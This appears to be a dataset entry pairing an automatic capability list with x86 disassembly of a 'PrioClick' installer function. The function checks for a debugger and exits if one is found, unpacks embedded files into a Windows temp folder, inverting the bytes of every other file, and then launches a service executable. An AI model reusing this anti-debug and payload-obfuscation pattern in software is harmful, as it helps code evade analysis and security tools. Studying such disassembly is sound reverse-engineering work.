Function at 0x401110
Capabilities:
Create directory
Get common file path
Get hostname
Read file on windows
Set current directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x40e050]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push edi
call esi
mov edi, eax
push 0x8000
push edi
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, 0xf
sub eax, dword [0x40e038]
cmp eax, 1
je 0x401172
push str.Internal_error:_lfiles
push 0x9c7c90
call fcn.00401060
add esp, 8
call fcn.00401030
lea ecx, [ebp - 0x8c]
push ecx
push 0x9c7c90
mov dword [ebp - 0x8c], 0x400
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4011b4
push str.Fatal_external_error
push 0x400
push 0x9c7c90
call fcn.00401a0f
add esp, 0xc
call fcn.00401030
mov edx, dword [str.c:Windows_tempprioclick]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [str.c:Windows_tempprioclick]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
jne 0x4011ea
push str.Set_directory_error_n
push 0x9c7c90
call fcn.00401060
add esp, 8
call fcn.00401030
call esi
push 0x84
lea ecx, [ebp - 0x88]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40ef10
push 0x2dc6c0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0x40ef10
push str.Directory:__s_n
call fcn.00401b4b
lea edx, [ebp - 0x88]
push str.Prio
push edx
call fcn.00401540
push str.PrioClick:_n_n_EL_ANTIVIRUS_PUEDE_ANALIZAR_ESTE_PROGRAMA_ESPERAR_SIN_ACEPTAR_HASTA_QUE_TERMINE_EL_ANALISIS_O_SE_REINICIE._nUNA_VEZ_ANALIZADO_REINICIADO_PUEDE_ACEPTAR_LA_CONTINUACION._n_n_nPrioclick:_n_nTHE_ANTIVIRUS_MAY_SCAN_THIS_PROGRAM_nWAIT_WITHOUT_ACCEPTING_UNTIL_IT_FINISHES_OR_RESTART._nONCE_ANALYZED_YOU_CAN_ACCEPT_THE_CONTINUATION_n_n_n
push 0x9c7c90
mov esi, eax
call fcn.00401060
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
add esp, 0x18
push 0x40030
push str.PrioClick_Instal_or_Update
push 0x9c7c90
push 0
call edi
lea eax, [ebp - 0x88]
push str.PrioClickInstall
push eax
call fcn.00401540
add esp, 8
test eax, eax
je 0x40128f
mov ecx, dword [0x40e038]
push ecx
push esi
push str.PRIOCLICK_INSTALL_n_nVersion:_n_s_n_nFiles:__d_n_n_nContinue_
push 0x9c7c90
call fcn.00401060
add esp, 0x10
lea edx, [ebp - 0x88]
push str.PrioClickUpdate
push edx
call fcn.00401540
add esp, 8
test eax, eax
je 0x4012c0
mov eax, dword [0x40e038]
push eax
push esi
push str.PRIOCLICK_UPDATE_n_nVersion:_n_s_n_nFiles:__d_n_n_nContinue_
push 0x9c7c90
call fcn.00401060
add esp, 0x10
push 0x40034
push str.Console_Prioclick_is_also_waiting_for_continue__
push 0x9c7c90
push 0
call edi
mov byte [0x9c7c90], 0
cmp eax, 6
je 0x4012e6
push 1
call fcn.00401849
lea ecx, [ebp - 0x88]
push ecx
call fcn.00401080
mov esi, eax
add esp, 4
cmp esi, 0x2dc6c0
ja 0x40150e
test esi, esi
je 0x40150e
mov edx, dword [0x40ef0c]
push 0
push 0x9c8090
push esi
push 0x6eb5d0
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401347
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ghfile__read_error__d_n
push 0x9c7c90
call fcn.00401060
add esp, 0xc
call fcn.00401030
mov eax, dword [0x40ef0c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x40e03c]
sub esi, eax
push eax
add esi, 0x6eb5d0
push esi
push 0x40eed0
call fcn.00401c20
xor ebx, ebx
add esp, 0xc
xor esi, esi
cmp dword [0x40e038], ebx
jbe 0x40144e
nop
mov ecx, dword [esi*4 + section..data]
mov edx, dword [esi*4 + 0x40eed0]
push ecx
push edx
push esi
push str.Dato__d_valor__lu___s_n
call fcn.00401b4b
mov eax, dword [esi*4 + 0x40eed0]
push eax
lea ecx, [ebx + 0x6eb5d0]
push ecx
push 0x40ef10
call fcn.00401c20
add esp, 0x1c
test esi, esi
je 0x40143a
mov edx, dword [esi*4 + section..data]
push 0
push 0x8000000
push 2
push 0
push 1
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4014ba
mov ecx, esi
xor eax, eax
and ecx, 1
test ecx, ecx
je 0x401403
mov dl, byte [eax + 0x40ef10]
not dl
mov byte [eax + 0x40ef10], dl
inc eax
cmp eax, 0x2dc6c0
jb 0x4013f1
mov eax, dword [esi*4 + 0x40eed0]
push 0
push 0x40ee44
push eax
push 0x40ef10
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [0x40ee40], eax
test eax, eax
je 0x4014e0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add ebx, dword [esi*4 + 0x40eed0]
inc esi
cmp esi, dword [0x40e038]
jb 0x401380
push str.END_OF_FILES_copy._Does_now_the_installation_start__n_nFIN_de_COPIA_de_ficheros._Se_hace_AHORA_la_instalacion__n_n_nIf_you_say_YES_surely_the_antivirus_will_analyze_the_program__do_NOT_do_anything_until_it_finishes._n_nSi_dice_SI_Seguramente_el_antirivirus_analilzara_el_programa__NO_haga_nada_hasta_que_acabe.
push 0x9c7c90
call fcn.00401060
add esp, 8
call fcn.00401000
test eax, eax
je 0x4014b3
lea ecx, [ebp - 0x88]
push str.PrioClickInstall
push ecx
call fcn.00401540
add esp, 8
test eax, eax
je 0x40148e
push str.PrioClickSvc.exe
call fcn.00401a6e
add esp, 4
lea edx, [ebp - 0x88]
push str.PrioClickUpdate
push edx
call fcn.00401540
add esp, 8
test eax, eax
je 0x4014b3
push str.PrioClickUpdater.exe
call fcn.00401a6e
add esp, 4
push 1
call fcn.00401849
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esi*4 + section..data]
push eax
push ecx
push str.fhand__s__Error_open_create___d_n
push 0x9c7c90
call fcn.00401060
add esp, 0x10
call fcn.00401030
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [esi*4 + 0x40eed0]
push eax
mov eax, dword [esi*4 + section..data]
push edx
push eax
push str.fhand__write_Error__s_len_lu___err__d_n
push 0x9c7c90
call fcn.00401060
add esp, 0x14
call fcn.00401030
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
lea eax, [ebp - 0x88]
push eax
push str.No_internal_space_or_error__for_load_this_file:__s__filelength:__d__Error:_d_n
push 0x9c7c90
call fcn.00401060
add esp, 0x14
call fcn.00401030
int3